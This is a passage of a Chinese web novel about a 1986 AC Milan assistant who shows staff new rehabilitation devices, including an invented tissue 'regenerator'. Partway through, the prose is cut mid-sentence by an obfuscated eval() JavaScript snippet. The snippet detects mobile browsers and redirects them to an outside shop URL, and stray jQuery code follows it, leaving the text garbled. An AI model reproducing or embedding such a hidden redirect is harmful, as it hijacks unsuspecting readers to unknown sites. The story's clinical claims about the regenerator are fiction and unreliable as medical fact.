时间回到几天前的下午，米兰内洛。
主楼旁的一栋小楼，已经完全按照基娅拉的要求改造完毕。
基娅拉在这拥有了一间专属于她的办公室。
房间不大，大约四十平方米。窗户朝南，能看到外面的训练场和松树林。墙壁刚刷过漆，还能闻到淡淡的涂料味，地上铺着新的浅灰色地毯。
基娅拉站在设备室中央，手里拿着一张图纸。
旁边站着的是技术总监格里·马尔迪和首席队医塔瓦纳。
格里·马尔迪身后，几个穿着蓝色工装的人正在拆一个巨大的木箱——木箱外面印着“精密仪器，轻拿轻放”，还有几行德文和英文的说明。
“设备到了？”塔瓦纳饶有兴致地看着工人忙碌。
“昨天到的。”格里·马尔迪说，“从慕尼黑运过来花了两周。”
木箱被拆开，露出里面一台银灰色的机器。
主体是一个可调节的座椅，连接着一套精密的液压和电子控制系统，椅背上方伸出一组传感器支架。机器的侧面嵌着一块小屏幕，屏幕下方是一排按钮和旋钮。整体造型简洁而精密，带着八十年代西德工业设计特有的那种厚重感。
“这是什么设备？”塔瓦纳走近了几步。
格里·马尔迪走到机器旁边，伸手拍了拍座椅的靠背：“等速肌力测试与康复系统——Cybex II Plus。”
“核心原理是‘恒定速度、可变阻力’。无论球员用多大力气去推，机器都会实时调整阻力，让关节的运动速度始终保持在预设值上。这样测出来的肌肉力量，就是在关节全活动范围内各个角度上的真实力矩输出。
它依靠高精度传感器和电机实现毫秒级的阻力响应，在测试中记录整个运动过程中的力矩变化曲线，并输出峰力矩等关键指标，对评估球员的肌力水平、左右对称性和疲劳趋势非常有用。”
塔瓦纳的眼睛亮了：“所以我们就可以知道球员在哪个角度力量最大，哪个角度力量最小。”
“对。”格里马尔迪说，“而且不只是测试。它也可以做辅助康复训练，十字韧带撕裂、半月板损伤、肌肉拉伤——都可以用这台机器做精准的康复评估和训练。”
塔瓦纳走过去，摸了摸机器表面的金属面板。他是底层外伤科医生出身，对尖端医疗设备并不是很熟悉，但此刻他已经完全被这台机器吸引了：“国内已经有这种设备了吗？”
“当然——有。”基娅拉对这些熟得不能再熟了。
“不过基本上是大型医院才会备上一台。我们家的康复中心有一台，诊所里没有。这台是我找了关系直接从西德Cybex公司采购的最新型号，加装了微型计算机处理系统，可以实时记录和回放测试数据，连接到电脑，输出完整的肌力曲线图。”
工人们组装固定完机器后就出去了。趁着这个空档，马尔迪和塔瓦纳绕着机器看来看去，时不时上手摸几下。
他们讨论得太投入了，以至于没注意到另一台设备也被搬了进来。
这台设备，比Cybex小一些，外形像一台改良的测力台，上面铺着一层薄薄的橡胶垫。
许是终于意识到自己光顾着看稀奇，忽略了自己的上司，格里·马尔迪突然回了神，主动中止了和塔瓦纳的对话。
他顺着基娅拉的目光看过去。
“三维测力台！好东西！”
“不过这台看着和市面上流通的不太一样。”格里·马尔迪对这种设备并不陌生，所以很快发现了区别。
“这台是米兰理工大学自行研制的原型机，在七十年代苏联和美国的测力台技术的基础上做了改进。它可以捕捉球员在跑动、跳跃、变向时对地面的反作用力，前后、左右、垂直三个方向的数据。”
“菲奥伦蒂诺投资了一点，估计不久后你就能看到这玩意商品化，然后上市了。”基娅拉介绍道。
“有什么用？”
请原谅，塔瓦纳只是个没什么见识的医生，如果不是因为进了米兰，他几乎不可能在现在就能接触到这种级别的前沿设备。
“判断下肢受力模式。”格里·马尔迪说，“比如一个球员反复拉伤大腿后侧，我们用测力台测他的跑步落地模式——很可能发现他某条腿的落地冲击力比另一条腿高出百分之三十。数据会告诉你问题在哪里，而不是靠猜。”
塔瓦纳蹲下来，用手指按了按测力台表面的橡胶垫：“精度怎么样？”
“压电晶体传感器，采样频率够高。”格里·马尔迪说，“测出来的力-时间曲线可以跟Cybex的肌力数据做交叉比对。”
“和市面上的产品相比具体有哪些改进，到时候还得看数据对比。”
“总之，这是可遇不可求的好东西。”马尔迪耸耸肩，对上司的财大气粗表示无话可说。
在球员们进行训练的那个上午，设备室里，一个新的木箱刚刚被拆开。
心理学家布鲁诺·德米凯利斯也来凑热闹了，虽然这一切和他的心理室无关，但他就是非常感兴趣。
箱体上没有任何德文或英文标签，只有一个简单的标识——菲奥伦蒂诺医疗集团的蓝绿色徽章，旁边用意文印着一行小字：“运动医学事业部·专有设备·1986年4月”。
几个人围站在木箱旁边，看着工人把设备从泡沫和塑料膜里抬出来。
设备不大——大约一米长、半米宽、一人高，外形像一个扁平的柜子。主体是深灰色的金属外壳，正面嵌着一块大约三十厘米见方的控制面板，面板上排列着十几个按钮、几个旋钮和一个小屏幕。柜子顶部伸出一组可调节的支架，支架末端连接着一块柔软的垫片，大约手掌大小，像一把加厚了的探照灯头。
最下方安装了三个滚轮，方便移动。
菲奥伦蒂诺集团的工作人员确认安装完毕后，和基娅拉打过招呼后，离开了。
基娅拉看起来对这台设备很熟悉，伸手按了一下控制面板侧面的开关。屏幕亮了起来，显示出一行绿色的文字——“系统启动中……校准……”
“这是我爷爷在七十年代末开始研究的一个项目。”她说，“菲奥伦蒂诺家族过去主要做抗生素和心血管药物，但那不是全部。就像人总要留些底牌不能全部施于人前，一个家族也要有些压箱底的东西。”
她转过身来，看着围过来的三人：“这台设备的正式名称是多模式脉冲组织修复系统。我们叫它‘再生器’。原理并不复杂，但这台设备从理念诞生到实际落地，菲奥伦蒂诺花了足足八年。”
格里·马尔迪走近了一些，仔细打量设备面板上的按键和接口。“脉冲？哪方面的脉冲？”
“三合一。”基娅拉说，语气平静，像在背诵一份已经深深刻入脑海的说明书，“低强度脉冲超声、定向脉冲电磁场、还有一个额外频段的低频声波。”
她顿了一下：“三个频段协同工作，目的是刺激软组织再生。”
塔瓦纳放下了手中的说明书，走过来站在格里·马尔迪旁边：“软组织再生？你是指肌肉拉伤、韧带损伤、肌腱炎之类的？”
“对。设备会通过那块垫片接触受伤部位，发射特定频率的声波和电磁脉冲。”基娅拉说，用手指了指支架末端的垫片，“垫片内部有三种独立的发射器。一个负责超声，激活深层组织，增加血
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709234|207878||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
流量。一个负责定向电磁场，刺激细胞层面的修复信号。第三个频段我们研究了很久，才找到特定的声波频率，配合前两个工作。三者叠加时，修复效率显著提高。”
格里·马尔迪没有说话。他弯下腰，仔细查看垫片的结构。里面有三组细密的线圈和极小的晶片，排布得极为精巧。
“这个频段——你说你们研究了很久，所以这不是市面上能找到的？”
“当然。这可是我们的秘密武器之一，仅此一家，绝无二版。”基娅拉笑得很俏皮。
“市场上目前的脉冲设备大多只能处理骨骼愈合。软组织修复一直是理论上的方向，但没有真正成型的产品。我们这台的第三频段，是从菲奥伦蒂诺家族早期的军医研究里延伸出来的——大战时期我的曾祖父在做军医，处理过大量软组织损伤。他那些手写的笔记给了研发团队最初的参数方向。”
“我看下面装了轮子，是为了方便直接在赛时使用吗？比如赛后直接处理拉伤？”
“对。临床数据显示，急性损伤，比如肌肉拉伤、韧带扭伤，受伤后二十四小时内多次使用，每次大约二十分钟，能缩短大约30%~40%的恢复时间。”基娅拉继续介绍，“慢性劳损，比如肌腱炎、跟腱病，需要连续使用，一个疗程大约五到七天，每天一次。”
塔瓦纳沉默了几秒钟：“你刚才说‘临床数据’——你们已经做过测试了？”
“过去两年，我们在科莫湖的康复中心做了大约一百二十例测试。对象包括橄榄球运动员、田径运动员、自行车手。” 基娅拉说，“效果不错，数据都被整理成报告了，我等会让人给你们一份。”
格里·马尔迪的视线始终没有离开那台设备：“这种东西，如果放到今年的医疗大会上，会是话题级的东西。”
“那确实是。”
“但在这个房间里，它是用来帮助球员填补遗憾，更快归队的。”
德米凯利斯走过来，绕到设备侧面：“心理上也会有帮助。”
“球员受伤之后最怕的不是疼，是不知道什么时候能回来。如果你能告诉他——‘这台机器会帮你缩短一半的恢复期’，哪怕只是缩短百分之三十，他的精神状态也会完全不同。”
基娅拉点了点头：“这也是设计的一部分。”
她转向塔瓦纳：“通知一线队那边，明天下午训练暂停，统一进行体检。到时候你跟在我身边，我会教你怎么操作。”
塔瓦纳看着那台深灰色机器，目光沉了一下。片刻后他点了点头。“好。”
格里·马尔迪的目光久久不能从机器上移开：“菲奥伦蒂诺有考虑把这个设备也上市吗？”
“很抱歉，受限于产能问题，目前没有这个打算。”
“不过，你可以在菲奥伦蒂诺旗下产业享受到它的服务。”
“那我可得好好工作了，争取能在康复中心多享受几天。”马尔迪笑笑，“毕竟助理小姐家的康复中心花费可不便宜。您也不说给熟人打个折。”
塔瓦纳调侃地望向同僚：“格里，你的脑子是不是丢在再生器上了，这不就有一台现成的吗？我们可是米兰的员工，肯定有内部优先权的啊。”
基娅拉笑着默认了塔瓦纳的话。
“瞧我，犯傻了。”马尔迪终于回归正常，“那些家伙还真是走运啊，居然能有这么好的设备为他们服务。真是羡慕这些家伙啊，是第一批体验再生器的足球运动员吧。”
基娅拉不说话了。
嗯，其实，也许，那个，他们并不是第一批，那个走运的家伙另有其人。
她的记忆被拉回到某天，和某个球员神奇的相遇。